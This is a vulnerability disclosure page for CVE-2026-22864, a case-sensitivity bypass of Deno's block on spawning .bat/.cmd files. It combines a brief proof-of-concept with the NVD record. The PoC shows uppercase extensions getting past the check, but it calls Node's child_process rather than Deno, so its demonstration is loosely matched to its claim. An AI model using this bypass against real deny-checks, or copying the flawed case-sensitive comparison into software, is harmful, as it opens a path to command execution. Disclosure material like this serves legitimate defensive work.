CVE-2026-22864

// CVE-2026-22864 PoC - Bypass Deno .bat/.cmd extension check using case variation // This PoC demonstrates how Deno's spawn security check can be bypassed // by using uppercase/mixed-case extensions (.BAT, .CMD) instead of lowercase // Vulnerable code pattern (Deno < 2.5.6) // The original check performs case-sensitive comparison: // if (ext === '.bat' || ext === '.cmd') { throw error; } // This check can be bypassed with: // - .BAT instead of .bat // - .Bat, .bAt, etc. // - .CMD instead of .cmd // - .Cmd, .cMD, etc. // Example vulnerable usage: const { spawn } = require('child_process'); // Attacker-controlled input can use uppercase extensions const maliciousExtension = '.BAT'; // Bypasses the check const maliciousPath = `malicious_script${maliciousExtension}`; // This spawn call would execute the batch file // even though the original check was intended to prevent it const child = spawn(maliciousPath, { shell: true }); // In Deno context (vulnerable): // Deno.spawn() with path containing .BAT extension bypasses security check // Fixed in Deno 2.5.6 with case-insensitive comparison

{"cve": {"id": "CVE-2026-22864", "sourceIdentifier": "[email protected]", "published": "2026-01-15T23:15:51.937", "lastModified": "2026-01-21T14:32:39.837", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. Before 2.5.6, a prior patch aimed to block spawning Windows batch/shell files by returning an error when a spawned path’s extension matched .bat or .cmd. That check performs a case-sensitive comparison against lowercase literals and therefore can be bypassed when the extension uses alternate casing (for example .BAT, .Bat, etc.). This vulnerability is fixed in 2.5.6."}, {"lang": "es", "value": "Deno es un entorno de ejecución de JavaScript, TypeScript y WebAssembly. Antes de 2.5.6, un parche anterior tenía como objetivo bloquear la ejecución de archivos batch/shell de Windows devolviendo un error cuando la extensión de una ruta ejecutada coincidía con .bat o .cmd. Esa verificación realiza una comparación que distingue entre mayúsculas y minúsculas contra literales en minúsculas y por lo tanto puede ser eludida cuando la extensión utiliza un uso de mayúsculas y minúsculas alternativo (por ejemplo, .BAT, .Bat, etc.). Esta vulnerabilidad está corregida en 2.5.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.6", "matchCriteriaId": "D302E8AF-7ACC-4470-B0AB-B865727AE026"}]}]}], "references": [{"url": "https://github.com/denoland/deno/releases/tag/v2.5.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/denoland/deno/security/advisories/GHSA-m3c4-prhw-mrx6", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}